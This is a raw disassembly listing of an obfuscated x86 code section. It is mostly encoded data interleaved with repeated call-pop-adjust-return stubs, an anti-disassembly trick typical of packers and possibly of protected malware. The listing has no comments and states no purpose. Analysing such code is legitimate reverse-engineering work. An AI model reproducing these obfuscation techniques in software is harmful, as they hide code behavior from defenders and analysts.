4B21A715h, 51B001D6h dd 97DC9EC9h, 0F78B6624h, 0B995FF5Eh, 6A07E90Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 81D3C350h, 51E7BECEh, 2C9D8D7Dh, 6007ECD7h, 8ADE8B66h dd 0D3FF61CAh, 85FFFB8Bh, 7E90F9Dh, 12BB3EBEh, 0ECCE91Bh dd 0E80000h, 5D000000h, 0F809ED81h, 6A07ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4D051BC3h dd 0DDBD8BD3h, 8107E916h, 0E92AD1BDh, 7D007h, 43860F00h dd 66000001h, 9D8BFA8Bh, 7E9181Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0B4C35141h, 0F88B66EAh, 0E381FA8Bh dd 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0C4C35646h, 0BCF87AEFh, 0ADB58B9Ah, 0B07E91Eh dd 7B850FDBh, 0E9000000h, 8, 0A7C30E0Eh, 69EC9A8Fh, 88BD83F8h dd 7ECF6h, 32840Fh, 0E9600000h, 0Eh, 1C479D2Bh, 8102D994h dd 897B9476h, 0BD0B1838h, 7E90B2Dh, 50E961h, 800F0000h dd 0Ch, 0F6816660h, 0E0BBEC37h, 6137DE1Ch, 0F68885C7h dd 107ECh, 0B58B0000h, 7E91935h, 29E9h, 0FE8B6600h, 10E8h dd 0D7933400h, 0B87DF66Ah, 9D07D9Eh, 4536B865h, 85C75F42h dd 7ECF688h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+7E934D9h] lea ebx, [ebp+7E9181Dh] push 0 push ebx call sub_5C36FB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C36FB proc near ; CODE XREF: sdfs____:005C36F3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5C36FB endp ; --------------------------------------------------------------------------- db 4Fh dd 0BEF30539h, 7864FE87h, 0FEFF2381h, 6AFFFFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 8FB20AC3h, 2E4BD9FFh, 1855BD8Bh, 8C6607E9h, 11E8F5DBh dd 26000000h, 0C2CB6678h, 0E336EEC0h, 0DB664898h, 6E25D64h dd 0BE8h, 0D4173300h, 1DDE930Dh, 0B652650Bh, 2AC99D29h dd 5F5F07E9h, 0F04C3F6h, 5E84h, 5E900h, 0A5FC0000h, 0FF3CB1C6h dd 0E9005995h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0D915A9D2h, 3D8589A1h dd 0E907E901h, 7, 3104AC40h, 506A7FA1h, 7E8h, 0D969C900h dd 765B778Dh, 950EFFBEh, 4895F7Fh, 998D8924h, 0E907E921h dd 54Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 5BC35343h, 0D5B503B0h, 0B007E900h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 6FA4A4CBh, 8362F16Dh, 18BF6642h, 0E970E624h, 0Dh, 0A9286687h dd 24101CA3h, 8279EBD8h, 6A71E4AFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4926C353h dd 185DBD8Bh, 0BD2907E9h, 7E91535h, 31D8B60Fh, 0E9316D8Dh dd 0BE807h, 5C340000h, 0A55B9C1Bh, 45B67BCBh, 19BD33C2h dd 5F07E916h, 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0B509E29Ah, 7E92E95h dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 90BFB8C3h, 268951F0h, 2D4DB529h, 0BD8B07E9h dd 7E92EE9h, 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0A406C355h, 11E931h dd 229B0000h, 7EDAC0EEh, 888B8BFCh, 0BE41B53Bh, 66DC6D70h dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0B23D7BC3h, 8C0F2198h, 6, 2C3DBD8Bh, 0D82B07E9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 13C35646h dd 5A11EAEBh, 8B0F6050h, 0 ; --------------------------------------------------------------------------- jmp loc_5C3980 ; --------------------------------------------------------------------------- db 5Dh, 80h, 0C8h dd 3276EB1h ; --------------------------------------------------------------------------- loc_5C3980: ; CODE XREF: sdfs____:005C3974j popa mov [esp], ebx push 0 push ebx call sub_5C398F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C398F proc near ; CODE XREF: sdfs____:005C3987p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5C398F endp ; --------------------------------------------------------------------------- db 0E5h dd 0F5D8C5Bh, 684h, 0B5BD0300h, 8907E91Eh, 0E934E1B5h dd 0D1B5FF07h, 6A07E92Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8963C350h, 0E90C2185h dd 3195FF07h, 0F07E90Ch, 0B0F6B7h, 6A70E6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 280296C3h dd 0E46D4825h, 7A1BD8Bh, 71E407E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 53C35646h, 25ADBD89h, 8D8907E9h dd 7E929A9h, 830F613Ch, 2E6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 2DC35545h, 0E681745Bh, 4CB9C363h dd 1E4D9509h, 0B60F07E9h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7A183783h dd 2E0315FBh, 295039A9h, 0E929E1B5h, 6BA5F07h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0A183C350h, 0CD410219h, 248D9531h, 0C38B07E9h dd 0F1DBD8Bh, 0E8C107E9h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 40468346h dd 813E21F0h, 759372C6h, 0E2F7663Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 15C35747h, 0A9934614h, 0D30AEFD4h dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 4F505CC3h, 7C637014h, 11E84Fh, 7ADB0000h dd 0A725E15Ch, 0D3AD3B1h, 113C9EA9h, 5EF9FC94h, 58F1B70Fh dd 8860Fh, 810F0000h, 2, 0D82B6160h, 1B0880Fh, 0BD8B0000h dd 7E92B5Dh, 7B9h, 28E0F00h, 8B000000h, 0C183FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0B5C35141h, 0F1B70F27h dd 860FD93Bh, 172h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0FAC35545h, 0CF81105Eh, 0EBD762Eh, 0CE9h dd 0D63800h, 0E6EEB078h, 0E0171F47h, 0D98C66D9h, 0C1F6FA8Bh dd 4840F04h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0F68FC350h, 820ABC88h dd 5995FFh, 8B6607E9h, 6A5BFEh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 2B8F07C3h, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 6634DFE8h, 0BE52F88Bh, 337EA122h, 0F5BD8B5Fh, 3D07E90Eh dd 834h, 81860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0F69DE8C3h, 0BE66298Eh dd 83E99B7Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 899EC356h, 0E913A5BDh dd 7E907h, 72960000h, 8F4FD11Ch, 12E8B2h, 0DCDC0000h, 5F0641EDh dd 391406B4h, 85A922CCh, 0E1A13BD4h, 7E8h, 2150EE00h, 0E31E249Eh dd 0B7DD3ABEh, 8B5E5F57h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0DB8D755Eh dd 962D1545h, 0FAC0C781h, 0C38B0BBBh, 6AD88Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 9656C7C3h, 27AF56FEh, 8923AA8Ah, 0E902B1BDh, 0D985C707h dd 5107E91Dh, 6A37CA5Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 3F68C351h, 524A6432h dd 0F0FC3D55h, 20319589h, 0C08B07E9h, 81F7B70Fh, 0E92AD1BDh dd 7D007h, 2A850F00h, 89000000h, 0E9089D8Dh, 0D185FF07h dd 6A07E92Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0F96AC356h, 0D1B5FF9Ch, 6A07E92Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FF78C351h, 0E90C3195h, 6A409007h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 1F58C352h, 0AED2773Eh, 9D897399h, 7E90045h, 0C62EC9BEh dd 95BD831Fh, 7E926h, 8F840Fh, 0BD8B0000h, 7E909ADh, 26A9BD83h dd 0F0007E9h, 7C84h, 95BD8900h, 0FF07E916h, 0E9269595h dd 0F1BF0F07h, 0BF78B66h, 62840FC0h, 0F000000h, 68Dh, 218D2900h dd 8D07E90Bh, 0E94D5A8Dh, 98D3107h, 0B807E91Eh, 5, 0F38B6660h dd 8B0F51h, 5F000000h, 6AE1FF61h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 72A9C351h dd 751C645h, 0EE960FBh, 20000000h, 0FA4476B1h, 0AE3E243Eh dd 316D3ADh, 49BD8321h, 7E926h, 5A5840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E9E00DC3h, 12h, 898E9666h, 19CBF3D5h, 363FCC04h, 3E1B5682h dd 0BD832F5Bh, 7E926A9h, 64840F00h, 0E8000005h, 5, 6F941A54h dd 5EF78B1Dh, 0AB18D8Dh, 8B6607E9h, 8401C7F9h, 8944B27Ch dd 0E9263985h, 0CB018107h, 6A1499CFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 338EC351h dd 6CBE660Fh, 0E381BFD1h, 41C77A8Bh, 706B3404h, 6DBD8BCEh dd 8107E926h, 0D7100441h, 0BD8B31D6h, 7E91261h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8D7828C3h, 0E90AB185h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 92F9D8F2h dd 0F98BD9C9h, 28E0Fh, 0FE8B0000h, 13E3BF50h, 4896DFCh dd 17CABE24h, 95FF2822h, 7E92649h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 23C35747h, 0F8025906h, 0AB18D8Dh dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0E027C5C3h, 0E6B91FC9h, 1C7E8h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0EDB5C350h, 0A17723C0h, 441C7h, 0F000000h dd 287h, 0BF28B00h, 0B9840FC0h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1CD3C355h dd 87CAE560h, 6249DC98h, 13E9F5h, 2FAF0000h, 7BB15F29h dd 0E73F0334h, 0C2A45910h, 1DEB0C53h, 5A8D8DB6h, 6A07E94Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 26BDC353h, 2271B533h, 816607E9h, 0B89A5EE6h dd 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh dd 0ADC35242h, 2B79E2AEh, 0BF3DEF5Dh, 42DB5266h, 6AE1FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0C64297C3h, 0AB18D8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8BB34AC3h, 0E92145BDh dd 7C01C707h, 6644AA72h, 181F78Bh, 1499CFCBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 64C35545h, 0B401F2C4h dd 0BD012C10h, 7E91641h, 3C0441C7h, 89CE7875h, 0E930819Dh dd 4418107h, 31D6D710h, 6890Fh, 85290000h, 7E91CE5h, 1EBE006Ah dd 8D77DD57h, 0E90AB185h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 666090E0h dd 500C11B8h, 615B5B51h, 8B669050h, 4995FFF2h, 8D07E926h dd 0E90AB18Dh, 0C7F18B07h, 1, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0FF6E19C5h dd 0E7555CAEh, 8BF8B70Fh, 0E923BDBDh, 68E0F07h, 1000000h dd 0E923ED9Dh, 441C707h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_5C42B5 mov di, dx lea ecx, [ebp+7E94D5Ah] jmp loc_5C4246 ; --------------------------------------------------------------------------- dw 73C4h dd 3B021BBAh db 7, 0B5h ; --------------------------------------------------------------------------- loc_5C4246: ; CODE XREF: sdfs____:005C4239j mov eax, 5 push 0 push edx call sub_5C4256 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4256 proc near ; CODE XREF: sdfs____:005C424Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5C4256 endp ; --------------------------------------------------------------------------- dw 9168h dd 85890A7Ah, 7E90801h, 9E8h, 0FE899900h, 0CD317867h, 0B58B7778h dd 7E90881h, 6AE1FF5Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0F262C353h, 0A766DC3Fh dd 0F5BD2938h, 8B07E908h, 0E91611B5h ; --------------------------------------------------------------------------- pop es loc_5C42B5: ; CODE XREF: sdfs____:005C422Aj lea ecx, [ebp+7E90AB1h] push 0 push ebp call sub_5C42C6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C42C6 proc near ; CODE XREF: sdfs____:005C42BEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C42C6 endp ; --------------------------------------------------------------------------- or ecx, 14745DEEh push esi push ebx sub [ebp+7E91585h], eax pop edi pop esi mov dword ptr [ecx], 54CA95A5h push 0 push edi call sub_5C42F7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C42F7 proc near ; CODE XREF: sdfs____:005C42EFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C42F7 endp ; --------------------------------------------------------------------------- pop edx or edi, ebp sub [edi], ebx fldcw word ptr [ebx] mov di, 4F0Dh mov edi, [ebp+7E91EEDh] add dword ptr [ecx], 1499CFCBh push 0 push ecx call sub_5C4329 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4329 proc near ; CODE XREF: sdfs____:005C4321p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C4329 endp ; --------------------------------------------------------------------------- sub eax, 441C728h imul ebx, [ecx+5Fh], 0CE8166CEh mov esi, [edx-77h] mov ebp, 7E92A5Dh add dword ptr [ecx+4], 31D6D710h push 0 push esi call sub_5C435F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C435F proc near ; CODE XREF: sdfs____:005C4357p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C435F endp ; --------------------------------------------------------------------------- mov bh, 9 retn 9A06h ; --------------------------------------------------------------------------- sub eax, 6A3FD5h mov [ebp+7E9000Dh], edi lea eax, [ebp+7E90AB1h] push eax mov di, 4507h mov [esp], eax jge loc_5C4399 xor esi, [ebp+7E925F9h] loc_5C4399: ; CODE XREF: sdfs____:005C438Dj call dword ptr [ebp+7E92649h] push 0 push eax call sub_5C43AA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C43AA proc near ; CODE XREF: sdfs____:005C43A2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C43AA endp ; --------------------------------------------------------------------------- dw 33DFh dd 0DED0BC8Eh, 8D8DD13Ch, 7E90AB1h, 0C7FBBF0Fh, 1, 56BE6600h dd 2DBD239Fh, 0C707E901h, 441h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FC6572C3h dd 840FC00Bh, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 8AC35242h, 0C757B43Eh, 0BEB97BE4h, 5EC691F2h dd 2F51BD8Bh, 8D8D07E9h, 7E94D5Ah, 0C79BD33h, 5B807E9h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 46DBC355h, 2200E068h, 0FF0A0D55h dd 70DE81E1h, 31489A0h, 0F144E9CAh, 8960FFFFh, 0E90709B5h dd 6123B307h, 0C958589h, 0C18B07E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 45C35141h, 258529E9h, 0EB07E909h dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 66EB93C8h, 0FC3506BEh, 861858Dh dd 958907E9h, 7E91B19h, 52506050h, 5A57310Fh, 6652585Ah dd 6159F28Bh, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 42CEC353h, 4F102D17h dd 0B46025D4h, 0D5858952h, 6107E930h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0C244FEC3h, 0BF668333h, 6A6DCDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D9C35141h, 9EE6F0Fh, 0E929EDB5h dd 0DBEE8107h, 8D046477h, 0ED08CF85h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 4B96D67h, 94BE6660h, 0D2BF0F07h, 6810F61h, 33000000h dd 0E90CDDBDh, 5C08307h, 0BE9h, 90244800h, 0AA7A31AFh dd 5269C073h, 8950F08Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 7FC7B8C3h, 0EF4E9D30h dd 3099B58Bh, 6A07E9h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0EE097BC3h, 0EAA7D681h dd 95FF712Eh, 7E90FB9h, 6E8h, 3B48A00h, 8B4B35BFh, 0E907BDBDh dd 9D8D5F07h, 7ECD72Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 91C35040h, 0A4BF948Ah, 0FF103906h, 57006AD3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F6CC696h, 85FFF0BFh, 7E90F9Dh, 0F0FD9BBFh, 8FCE908h dd 0E80000h, 5D000000h, 8D9ED81h, 6A07EDh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 5F539CC3h dd 2AD1BD81h, 7D007E9h, 860F0000h, 158h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 37C35545h, 2F45BD31h dd 9D8B07E9h, 7E911B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 2CC35343h, 663E7308h, 0E9D1DBBFh, 0Ah dd 811F61F8h, 8FEA4169h, 0E3812A27h, 100h, 0E5BD0952h dd 5E07E91Ah, 850FDB0Bh, 81h, 13619D29h, 0BF6607E9h, 0BD832B2Bh dd 7ED06F7h, 2C840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 82FAC357h dd 0F6BF0F72h, 6AE9h, 7DB50B00h, 0C707E91Bh, 0ED06F785h dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 6478445Ch, 66383ABFh, 69BD3325h dd 6607E92Ah, 4160E781h, 26E9h, 0F785C700h, 7ED06h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8D8CC350h, 0E911B99Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD33EA52h dd 7E90261h, 0AD9589h, 238107E9h, 0FFFFFEFFh, 0D5BD8B60h dd 6607E91Dh, 6183D6B8h, 6ADB8C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F6CFC353h dd 840F04C3h, 0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0A5C35747h, 54F50C65h, 816842D9h, 5958BDF7h dd 14E84Bh, 0B72A0000h, 6636AB86h, 0C9B98869h, 5DE1A436h dd 75A081Dh, 0B58B87BAh, 7E93209h, 5995FF5Eh, 6A07E900h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 81BFC351h, 6B32A409h, 0B58B4E85h, 7E92EFDh dd 0EE850h, 0C7EA0000h, 0EEF5841h, 27205FD2h, 406FC1D5h dd 890F5250h, 0 dd 585A310Fh, 2404895Fh, 244DBD8Bh, 816607E9h, 0E938F7CFh dd 425h, 1D619D89h, 0B007E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 33C35747h, 0AE6E069Eh, 0BEC45B1Dh dd 4C3BD3B8h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 681030C3h, 0C956C01Ah, 0FA8B7865h dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 18FE80C3h, 20C2EB6Bh, 0FB1B960h, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0BBEAB5C3h, 5CE7FB9Ch, 1649BD23h, 0BD8907E9h, 7E91339h dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 6FF06E70h, 0FCEF96B9h, 0C38B118Ah dd 34CDB58Bh, 0E8C107E9h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0F766F941h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0B74ED552h, 6AD82BCAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F468C351h dd 0E200A0C0h, 79BD2B8Bh, 9307E910h, 830F5750h, 0 ; --------------------------------------------------------------------------- pop edi pop edi push eax mov si, 0BA1Bh xchg eax, ebx push 0 push ebx call sub_5C4A5F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4A5F proc near ; CODE XREF: sdfs____:005C4A57p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5C4A5F endp ; --------------------------------------------------------------------------- db 5Ch dd 0DE8h, 4CF16F00h, 0E2F58A48h, 367380EEh, 0BD894ADEh dd 7E90259h, 2195895Fh, 0FF07E91Fh, 0E92AD1B5h, 31B58B07h dd 0FF07E930h, 0E90C3195h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 66B99F32h dd 0E8E590BAh, 9, 0F9EF591Dh, 96A80AFh, 0B595295Fh, 5F07E90Bh dd 2CD1BD8Bh, 0B007E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0BBC35747h, 62C4D450h, 0FB0BF18h, 71B58B57h dd 5F07E91Eh, 1209B58Bh, 70E607E9h, 61BD2360h, 6007E924h dd 1F19B58Bh, 13E907E9h, 44000000h, 435BD272h, 0BD5C56ADh dd 6559830Fh, 456C588h, 6161A443h, 336071E4h, 0E92CC1BDh dd 6880F07h, 8B000000h, 0E908C585h, 613C6107h, 1BF830Fh dd 0BD090000h, 7E91D31h, 0BFD8B60Fh, 751781B9h, 1E71BD01h dd 6BA07E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0EE0AC351h, 1858918h dd 8B07E90Fh, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 302B3626h, 0E9599BA9h, 0Fh, 0EF11191Eh dd 796F3041h, 212FD7FEh, 8960B343h, 0E90AA1BDh, 4E8C107h dd 313DBD89h, 0F76607E9h, 719589E2h, 2B07E929h, 58F38BD8h dd 880FD82Bh, 125h, 0DEE1BE66h, 7B9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F3B70F2Bh, 0F00C183h, 688h, 870F00h, 3B000000h, 0E6860FD9h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C571C356h, 5101D935h, 664B28C8h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0C05B59C3h, 0A5BD89C1h, 0F607E91Dh, 840F04C1h dd 89h, 0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh dd 2A65B58Bh, 0FF5E07E9h, 0E9005995h, 895BF507h, 0E911B58Dh dd 8BC32B07h, 8343DF8h, 860F0000h, 51h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 8F0F2AEBh dd 0 ; --------------------------------------------------------------------------- sub [ebp+7E91389h], eax jmp loc_5C4D19 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C4CFA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4CFA proc near ; CODE XREF: sdfs____:005C4CF2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5C4CFA endp ; --------------------------------------------------------------------------- dw 0E65h ; --------------------------------------------------------------------------- sub [ecx-740729A4h], al ror byte ptr [ecx-16CECA6Bh], 7 loc_5C4D19: ; CODE XREF: sdfs____:005C4CEAj mov eax, ebx mov ebx, eax push 0 push eax call sub_5C4D28 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D28 proc near ; CODE XREF: sdfs____:005C4D20p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C4D28 endp ; --------------------------------------------------------------------------- dd 11E820CDh, 10000000h, 95B34634h, 6B19E8FCh, 0EF6937DAh dd 0ED5B6489h, 0F3B70F50h, 85C75F5Eh, 7E9181Dh, 5956F579h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 90C35343h dd 3BB04BFBh, 0F49BD8Bh, 0C08B07E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0A3C35646h, 0D9B45870h, 0F335B62h dd 9D09FEBFh, 7E9161Dh, 5A3AE781h, 0BD8122F2h, 7E92AD1h dd 7D0h, 5B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6BE337C3h, 9D89CC14h dd 7E9130Dh, 2AD185FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 71D985C3h, 91977F44h dd 880FBB2Fh, 5, 217728BEh, 0D1B5FF53h, 0F07E92Ah, 95FFFAB7h dd 7E90C31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0D6C35646h, 1F6F264Dh, 0E727028Fh, 8E9C8h, 692E0000h dd 0C4A06480h, 8B901BAEh, 0E93001B5h, 99BD8907h, 8107E92Ah dd 0E0F0B2DEh, 8A0F600Dh, 5, 0B1E08166h, 7D8D012Bh, 6107E913h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 50C35242h dd 0BD2BE883h, 7E922A9h, 31F78B66h, 0E931359Dh, 0A1BD8B07h dd 0E907E919h, 0Ah, 4282AA23h, 0BAF0A43h, 8529194Fh, 7E914EDh dd 2CC1B501h, 665307E9h, 5FC079BEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0FAC35040h, 0C690BF66h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 26C35242h, 11E9h dd 77204F00h, 7DE24A94h, 5CBF144Ch, 50DB3234h, 8B60D1B4h dd 0E9093985h, 298D0B07h, 8A07E900h, 0BF6661DEh, 6A83B7h dd 